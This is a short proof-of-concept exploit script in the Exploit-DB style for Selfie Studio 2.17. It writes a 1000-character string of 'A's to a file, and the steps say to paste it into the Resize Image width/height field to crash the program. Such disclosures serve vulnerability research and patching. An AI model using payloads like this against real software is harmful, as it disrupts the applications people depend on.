# -*- coding: utf-8 -*- # Exploit Title: Selfie Studio 2.17 - 'Resize Image' Denial of Service (PoC) # Date: 13/05/2019 # Author: Alejandra Sánchez # Vendor Homepage: http://www.pixarra.com # Software Link http://www.pixarra.com/uploads/9/4/6/3/94635436/tbselfiestudio_install.exe # Version: 2.17 # Tested on: Windows 10 # Proof of Concept: # 1.- Run the python script "Selfie_resize.py", it will create a new file "PoC.txt" # 2.- Copy the text from the generated PoC.txt file to clipboard # 3.- Open Selfie Studio # 4.- Go to 'Image' > 'Resize Image...' # 5.- Paste clipboard in the 'New Width/New Height' field # 6.- Click OK # 7.- Crashed buffer = "\x41" * 1000 f = open ("PoC.txt", "w") f.write(buffer) f.close()